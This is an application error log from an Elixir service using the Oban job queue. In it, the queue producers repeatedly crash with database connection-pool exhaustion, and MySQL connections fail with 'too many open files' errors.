State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:29:47.239557Z], limit: 5, uuid: "f095f3a1-6603-4201-8507-535920fdb15d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:47.239563Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60934>, refresh_timer: #Reference<0.2525715032.1121189889.194008>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:59.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:29:47.240354Z], limit: 5, uuid: "edb4f3ba-a532-4c6e-bd0b-6674438238b9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:47.240360Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62714>, refresh_timer: #Reference<0.2525715032.1068498948.62698>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:00.048000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:04.318000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:06.034000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:06.760000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:09.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:10.340000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:11.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:29:59.239685Z], limit: 50, uuid: "0fffd9b2-d234-48aa-852c-0830d3999208", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:59.239691Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61194>, refresh_timer: #Reference<0.2525715032.1099431938.61159>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:29:59.239966Z], limit: 20, uuid: "b75dfa02-c19c-4630-8d7b-22eb195652aa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:59.239973Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61195>, refresh_timer: #Reference<0.2525715032.1121189889.194325>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:29:59.240409Z], limit: 5, uuid: "e5bad328-a63c-40db-8130-31be8e0f8a17", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:59.240415Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61196>, refresh_timer: #Reference<0.2525715032.1121189889.194337>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:29:59.239207Z], limit: 10, uuid: "3ae0e5a7-757f-4be0-a3a1-7514aa746246", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:59.239217Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61193>, refresh_timer: #Reference<0.2525715032.1099431938.61147>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:29:59.241379Z], limit: 5, uuid: "6b272434-cb19-45ef-8516-d08a76db79e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:59.241401Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62757>, refresh_timer: #Reference<0.2525715032.1068498948.62756>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:29:59.240095Z], limit: 3, uuid: "9c7439d7-c7a3-4f8c-8ce8-37bcffd8adce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:59.240100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61197>, refresh_timer: #Reference<0.2525715032.1121189889.194331>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:12.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:13.461000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:14.569000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:14.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:19.003000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:22.439000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:30:11.240244Z], limit: 5, uuid: "b0fa7be7-b8f4-43e3-88f9-baa59712db13", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:11.240249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61450>, refresh_timer: #Reference<0.2525715032.1068498948.62807>, dispatch_cooldown: 5, running: %{}}
